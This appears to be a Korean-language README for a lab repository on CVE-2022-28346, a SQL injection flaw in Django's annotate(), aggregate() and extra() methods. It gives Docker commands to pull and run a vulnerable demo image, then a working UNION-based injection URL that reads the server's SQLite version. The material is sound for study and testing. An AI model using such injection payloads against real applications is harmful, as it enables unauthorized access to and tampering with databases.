
Django 패키지에서 SQL 주입으로 이어지는 결함이 발견되었습니다. 이 결함은 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하는 공격자가 데이터베이스를 완전히 손상시킬 수 있도록 합니다.
Django 패키지에서 발견된 결함으로, SQL 인젝션으로 이어집니다. 이 결함으로 인해 공격자는 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하여 데이터베이스를 완전히 손상시킬 수 있습니다.
위 코드 저장소에서 CVE-2022-28346에 대한 상세 분석 보고서(PDF)를 찾을 수 있습니다.
CVE-2022-28346은 인기 있는 Python 웹 프레임워크인 Django의 여러 버전에서 확인된 심각한 취약점입니다. 이 취약점은 특히 Django 2.2 2.2.28 미만, 3.2 3.2.13 미만, 4.0 4.0.4 미만 버전에 영향을 미칩니다.
문제의 핵심은 Django의 QuerySet.annotate(), aggregate(), extra() 메서드에 있습니다. 이러한 메서드는 전달된 **kwargs로 열 별칭이 조작된 딕셔너리(딕셔너리 확장 포함)와 함께 사용될 때 SQL 인젝션 공격에 취약합니다. SQL 인젝션은 공격자가 애플리케이션이 데이터베이스에 만드는 쿼리를 간섭할 수 있게 하는 공격 유형입니다. 이를 사용하여 공격자는 일반적으로 검색할 수 없는 데이터(다른 사용자의 데이터 또는 애플리케이션 자체가 액세스할 수 있는 모든 데이터)를 볼 수 있습니다. 경우에 따라 공격자는 이 데이터를 수정하거나 삭제하여 데이터 무결성에 영향을 미칠 수 있습니다.
이 취약점을 철저히 테스트하려면 하드 디스크에 충분한 여유 공간이 있는지 확인하십시오. 취약점 테스트를 성공적으로 수행하려면 최소 1.2GB가 필요합니다.
이미 Docker가 설치되어 있다면 이 섹션을 건너뛰고 다음 지침으로 바로 진행할 수 있습니다.
이 취약점 테스트를 시작하려면 Docker를 설치하십시오.
다음 단계로 이동하기 전에 Docker가 작동 중인지 확인하십시오.
터미널에서 다음 명령을 실행하여 우리가 생성하여 DockerHub에 푸시한 Docker 이미지를 가져옵니다.
sudo docker pull marouanekamal/cve-2022-28346:latest

Docker 이미지 풀링이 완료될 때까지 기다리십시오. 문제가 발생하면 인터넷 연결 때문일 수 있습니다. 안정적이고 활성화된 연결이 있는지 확인하십시오.
설치가 끝난 후 다음 명령을 실행하여 이미지가 존재하는지 확인하십시오.
sudo docker images

이제 다음 명령을 사용하여 Docker 이미지를 실행할 수 있습니다.
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

이제 서버가 실행 중이며 이 CVE를 익스플로잇할 수 있습니다. ;)
Docker 이미지를 실행한 후 다음 링크로 이동하여 URL에 접근할 수 있는지 확인하십시오.
http://0.0.0.0:8000/

ok라는 단어가 표시되면 URL에 접근 가능하고 모든 것이 정상적으로 작동 중임을 의미합니다!
이제 SQL 인젝션을 사용하여 이 취약점을 공격해 보겠습니다. 다음 URL을 입력하십시오.
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

서버에서 사용하는 SQLite 버전을 확인할 수 있었습니다. ;)